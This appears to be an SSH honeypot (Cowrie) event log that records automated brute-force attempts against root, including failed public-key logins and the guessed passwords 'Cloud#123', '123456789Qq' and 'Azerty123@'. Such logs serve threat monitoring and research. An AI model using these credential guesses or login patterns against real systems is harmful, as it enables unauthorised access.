{"eventid":"cowrie.session.connect","src_ip":"91.193.18.110","src_port":38020,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c632e3727e6","protocol":"ssh","message":"New connection: 91.193.18.110:38020 (10.17.0.5:22) [session: 7c632e3727e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:58.811675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:58.819310Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:58.922955Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.063915Z","src_ip":"60.165.124.241","session":"f7942ce5b4e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50160,"dst_ip":"10.17.0.5","dst_port":22,"session":"a49860220f0d","protocol":"ssh","message":"New connection: 60.165.124.241:50160 (10.17.0.5:22) [session: a49860220f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.290727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.296101Z","src_ip":"60.165.124.241","session":"a49860220f0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:41:3e:38:23:73:cf:3d:cb:40:fd:be:4d:e7:3c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa5a4tUvTpgesRKQ7IKFjGBtH2oBFUWMHvxulSpzQ4AEyAUzcBpLtH0MlQSCMwsXM/0huZWUCOSOOl0JFn+pedRREr8ch2LWDO7+yh7Yne6nO0ecfIJA71TrrsMNIIWVC2gLRzP9qdFrzmeO9YhuX+yq83hkW2kMu4mW4hvJm86/ND250LJUfUH48gzw129BuTxCvVmO/G1SXENC2DGH/Z/Ep5or6LKZSbQi7TK4N/avSVJxhTRKcwDQQfV+yF9CGsWyzeBkhdKLuut0dNlNn5abm64Ku3x6UvbDrwlE00Y44mUo02W2sxvn80lg0E1zw5i9LpZFMTNI7Zw9+gsXFwaACYVLytBDTCZ0f74UVYkBAJC0aJ7LpfxYqJS96FdYUJCZveq456FIYS2NGwVc1sYwN+53/TUh9McfRtFO+/hmP52coZaOII7hnB+ns746SJwhWjl2cbthK3lnZYs5z0+iQ99iyiC4PH4ZuG17mCnjPuBJe/MtEqEE2OXlqxhTU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:41:3e:38:23:73:cf:3d:cb:40:fd:be:4d:e7:3c:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.423630Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:41:3e:38:23:73:cf:3d:cb:40:fd:be:4d:e7:3c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa5a4tUvTpgesRKQ7IKFjGBtH2oBFUWMHvxulSpzQ4AEyAUzcBpLtH0MlQSCMwsXM/0huZWUCOSOOl0JFn+pedRREr8ch2LWDO7+yh7Yne6nO0ecfIJA71TrrsMNIIWVC2gLRzP9qdFrzmeO9YhuX+yq83hkW2kMu4mW4hvJm86/ND250LJUfUH48gzw129BuTxCvVmO/G1SXENC2DGH/Z/Ep5or6LKZSbQi7TK4N/avSVJxhTRKcwDQQfV+yF9CGsWyzeBkhdKLuut0dNlNn5abm64Ku3x6UvbDrwlE00Y44mUo02W2sxvn80lg0E1zw5i9LpZFMTNI7Zw9+gsXFwaACYVLytBDTCZ0f74UVYkBAJC0aJ7LpfxYqJS96FdYUJCZveq456FIYS2NGwVc1sYwN+53/TUh9McfRtFO+/hmP52coZaOII7hnB+ns746SJwhWjl2cbthK3lnZYs5z0+iQ99iyiC4PH4ZuG17mCnjPuBJe/MtEqEE2OXlqxhTU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.427778Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:ce:01:de:47:f2:fc:e9:42:bd:86:cc:6d:23:a8:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzeeRGrWsAOYftgb+3oqeExXkPdqY98NmB4icf5G8RkXFtyrVKs2zjnUWNI+I5gPmjfO5qTYy/OngwNWBSR8dP9CioqTxoENIqkhSJJAhGEHLCrUrE6EO4CiMU+Sp/03jF60OZThlM7NMVAGWjc+4HB86eno4P5WV1gIfYZQIHmHNJ3YXcgWcrYpfxzY/8XfvIObr/Hp8NNpHkhmWeQU8FihwcUnmT6Y6wx9NAgG2TH3K/SWzxxpUvaAuwREHLA3FXr/8HrNQhgWwDJSZCfOR51j6Ajunhypln6bK6gtRix5cHFQmXRjlpv2yGgR7khZt6EOTwUqSORy30XcZ5DSJAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:ce:01:de:47:f2:fc:e9:42:bd:86:cc:6d:23:a8:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.533298Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:ce:01:de:47:f2:fc:e9:42:bd:86:cc:6d:23:a8:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzeeRGrWsAOYftgb+3oqeExXkPdqY98NmB4icf5G8RkXFtyrVKs2zjnUWNI+I5gPmjfO5qTYy/OngwNWBSR8dP9CioqTxoENIqkhSJJAhGEHLCrUrE6EO4CiMU+Sp/03jF60OZThlM7NMVAGWjc+4HB86eno4P5WV1gIfYZQIHmHNJ3YXcgWcrYpfxzY/8XfvIObr/Hp8NNpHkhmWeQU8FihwcUnmT6Y6wx9NAgG2TH3K/SWzxxpUvaAuwREHLA3FXr/8HrNQhgWwDJSZCfOR51j6Ajunhypln6bK6gtRix5cHFQmXRjlpv2yGgR7khZt6EOTwUqSORy30XcZ5DSJAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.537030Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.544596Z","src_ip":"60.165.124.241","session":"a49860220f0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:80:46:97:37:1e:ce:7f:2d:aa:be:27:d0:2b:10:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQoJhhJXhWuqR9l5T5tD+6GHZzfznssmcaaO0CYW8slxoZk5qipc/rtjbQK/JJLvzgTLt4PzYGnV0fHA7WSW2zTy79tEdmkX85YCROflWKjyqMRiirytoTqJLGrgWef4TVE9CWE+LJb7HxLf2gvayu8a0hQpvonhoHxo3vbOaZoG7L4RlveGWizQZICJQLl0X1+gVsG3vKt3NE8wPQRDCem4lPUKgn1dxJo73x16ev/tpc7tw/y901uJZn/3L3rBBlLNjq2rrPUQlRKVBkCRcE2yEWz2nePs4IHxPNsujD3w3wNe1sAKNyQUBKyOt3r/4Ww9UvEGGJddy48xRgca59","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:80:46:97:37:1e:ce:7f:2d:aa:be:27:d0:2b:10:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.644744Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:80:46:97:37:1e:ce:7f:2d:aa:be:27:d0:2b:10:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQoJhhJXhWuqR9l5T5tD+6GHZzfznssmcaaO0CYW8slxoZk5qipc/rtjbQK/JJLvzgTLt4PzYGnV0fHA7WSW2zTy79tEdmkX85YCROflWKjyqMRiirytoTqJLGrgWef4TVE9CWE+LJb7HxLf2gvayu8a0hQpvonhoHxo3vbOaZoG7L4RlveGWizQZICJQLl0X1+gVsG3vKt3NE8wPQRDCem4lPUKgn1dxJo73x16ev/tpc7tw/y901uJZn/3L3rBBlLNjq2rrPUQlRKVBkCRcE2yEWz2nePs4IHxPNsujD3w3wNe1sAKNyQUBKyOt3r/4Ww9UvEGGJddy48xRgca59","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.648563Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:ab:20:fb:79:6e:1a:fa:8f:f2:96:4f:e7:c0:9b:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0maGmrM83OKtZVKJJgvyEbsvbI6yRyN99nxZDmvyUKJp79gTmNPMaIzGp66oM8I0STZWscWCn7gyPFz76FWFE3lDUJ2pF6w1aJu/y+6u1MPLn+ppxXgmDGnlsPyur5cmBImqTB58kh8aTHnwuxbyCd7G8KtbLZSlJ0tFhYse6BbDju18CPDi+hKhgPo+TtlU+zAhtzbEDLYlZW2w/s/B2zmgakKJd4XA1bZe/ghBxAX4zKLuZwfBVmN19eQ/avYE/9O3wnhcPjL1t2o1AMO4IzKtpKUjz95VaIMbkYWVa4dNY+Y7k0KxvcP1F9jrKmXrXQ1hZTBaU9kUz5BX5t4x1nkAbexx1Ee+XDvpf68bgcoggB9TnJBM8VH8AifDRST2idnb/Up6InWSdlACU99svNRoDJ7/O8ed08g0o30fkHW4GYvUEhMw4vyDjH+Yy+aXmH1nc65S0dJOttCZqI5H2ciwfkq4jXXKWCEKujd1RmjJFcQ6R9uuIvB4Vwa9CMM/uMSPobBHTLgdLm/gWbBYao7trKZYALYxg1o3far3qfpD1Jbkh6P6xfiYr3b2TIwxyGi3ZfqdEbiBsyfl0w2hoS8FYlLEZVqhGtT+PyBUYyKqINcUfFiw+vF1FP+yDTzQKZujp2krqI1nK+naljK4HgCvQQrGYaZsOMghXMSWnNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:ab:20:fb:79:6e:1a:fa:8f:f2:96:4f:e7:c0:9b:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.753525Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:ab:20:fb:79:6e:1a:fa:8f:f2:96:4f:e7:c0:9b:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0maGmrM83OKtZVKJJgvyEbsvbI6yRyN99nxZDmvyUKJp79gTmNPMaIzGp66oM8I0STZWscWCn7gyPFz76FWFE3lDUJ2pF6w1aJu/y+6u1MPLn+ppxXgmDGnlsPyur5cmBImqTB58kh8aTHnwuxbyCd7G8KtbLZSlJ0tFhYse6BbDju18CPDi+hKhgPo+TtlU+zAhtzbEDLYlZW2w/s/B2zmgakKJd4XA1bZe/ghBxAX4zKLuZwfBVmN19eQ/avYE/9O3wnhcPjL1t2o1AMO4IzKtpKUjz95VaIMbkYWVa4dNY+Y7k0KxvcP1F9jrKmXrXQ1hZTBaU9kUz5BX5t4x1nkAbexx1Ee+XDvpf68bgcoggB9TnJBM8VH8AifDRST2idnb/Up6InWSdlACU99svNRoDJ7/O8ed08g0o30fkHW4GYvUEhMw4vyDjH+Yy+aXmH1nc65S0dJOttCZqI5H2ciwfkq4jXXKWCEKujd1RmjJFcQ6R9uuIvB4Vwa9CMM/uMSPobBHTLgdLm/gWbBYao7trKZYALYxg1o3far3qfpD1Jbkh6P6xfiYr3b2TIwxyGi3ZfqdEbiBsyfl0w2hoS8FYlLEZVqhGtT+PyBUYyKqINcUfFiw+vF1FP+yDTzQKZujp2krqI1nK+naljK4HgCvQQrGYaZsOMghXMSWnNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.757351Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:30:f6:35:bf:af:11:06:4e:f7:f3:6b:b5:e7:b0:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyAJeELOBSnRFdiZ4DkgL7iIhswsdFTDP351Wa9+DRnUX13Y99/FiA5Rs+rkEj/3Y01V8SdP7x/5pRegGD9kabYZ9NajfNL1zmhYqbCAMpPrpheK1t+ABk1EaW+yPZlGTvIea52eDcLdJ3xzu9EvtKMjWbNId0E2ZYKGtH9UKegdCtRQ2geFb7Z5PwYcfMQ/gXqc3QquV+ijoV5O3N41CX6M/ZhWE3af3K8AppfbeWIdvRgyJ+MI6cckEJ5gIDxl8cSH7p+HNdi0vGNvsZEmxMgBxqtHhbVP1v7KtLnzGayf2PTq33cbkYL13Q2Ngfm21mVv/rKdVXGso3yssfCdm1m4kWizwX0yZIufuMvPZlBnT4CTBpjTgJjP6ASEUC+MC+9qW3F8jloPkABsG398jdtIfoHRXF/x9rHgo3DsVhaba1RlSyBzPs/u8oDl49CoezLNpJvfWhvi18M6YDDqn8QUNj3s+eGV7dYqZOeQkL91snVqW7DPe+XaiLmFtzZ+z2mb3kRirMjhTfb/xqYdl3oNvoSvOwe0S97TI25sBbP1O+zBuK7Bm51ueYeaDgyWTkPq1D7fKv3RwE9l1/iGpGCvJVWh4UzWBuucu/+QXbXR8rxmd2RhdQ3dkrQjvGyRUhGw5NqQ9qskDRerRTebQzukVOhRpFIf/UAF83DmrooQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:30:f6:35:bf:af:11:06:4e:f7:f3:6b:b5:e7:b0:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.862845Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:30:f6:35:bf:af:11:06:4e:f7:f3:6b:b5:e7:b0:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyAJeELOBSnRFdiZ4DkgL7iIhswsdFTDP351Wa9+DRnUX13Y99/FiA5Rs+rkEj/3Y01V8SdP7x/5pRegGD9kabYZ9NajfNL1zmhYqbCAMpPrpheK1t+ABk1EaW+yPZlGTvIea52eDcLdJ3xzu9EvtKMjWbNId0E2ZYKGtH9UKegdCtRQ2geFb7Z5PwYcfMQ/gXqc3QquV+ijoV5O3N41CX6M/ZhWE3af3K8AppfbeWIdvRgyJ+MI6cckEJ5gIDxl8cSH7p+HNdi0vGNvsZEmxMgBxqtHhbVP1v7KtLnzGayf2PTq33cbkYL13Q2Ngfm21mVv/rKdVXGso3yssfCdm1m4kWizwX0yZIufuMvPZlBnT4CTBpjTgJjP6ASEUC+MC+9qW3F8jloPkABsG398jdtIfoHRXF/x9rHgo3DsVhaba1RlSyBzPs/u8oDl49CoezLNpJvfWhvi18M6YDDqn8QUNj3s+eGV7dYqZOeQkL91snVqW7DPe+XaiLmFtzZ+z2mb3kRirMjhTfb/xqYdl3oNvoSvOwe0S97TI25sBbP1O+zBuK7Bm51ueYeaDgyWTkPq1D7fKv3RwE9l1/iGpGCvJVWh4UzWBuucu/+QXbXR8rxmd2RhdQ3dkrQjvGyRUhGw5NqQ9qskDRerRTebQzukVOhRpFIf/UAF83DmrooQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.866758Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:59.972891Z","src_ip":"91.193.18.110","session":"7c632e3727e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud#123","message":"login attempt [root/Cloud#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:00.265683Z","src_ip":"60.165.124.241","session":"a49860220f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:01.506740Z","src_ip":"60.165.124.241","session":"a49860220f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53118,"dst_ip":"10.17.0.5","dst_port":22,"session":"038f9ddcd54a","protocol":"ssh","message":"New connection: 60.165.124.241:53118 (10.17.0.5:22) [session: 038f9ddcd54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:01.743362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:01.749086Z","src_ip":"60.165.124.241","session":"038f9ddcd54a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:01.994110Z","src_ip":"60.165.124.241","session":"038f9ddcd54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Qq","message":"login attempt [root/123456789Qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:02.718963Z","src_ip":"60.165.124.241","session":"038f9ddcd54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:03.978361Z","src_ip":"60.165.124.241","session":"038f9ddcd54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55912,"dst_ip":"10.17.0.5","dst_port":22,"session":"d24eea828f22","protocol":"ssh","message":"New connection: 60.165.124.241:55912 (10.17.0.5:22) [session: d24eea828f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:04.205729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:04.211519Z","src_ip":"60.165.124.241","session":"d24eea828f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:04.454165Z","src_ip":"60.165.124.241","session":"d24eea828f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Azerty123@","message":"login attempt [root/Azerty123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:05.178568Z","src_ip":"60.165.124.241","session":"d24eea828f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:06.417431Z","src_ip":"60.165.124.241","session":"d24eea828f22","protocol":"ssh"}
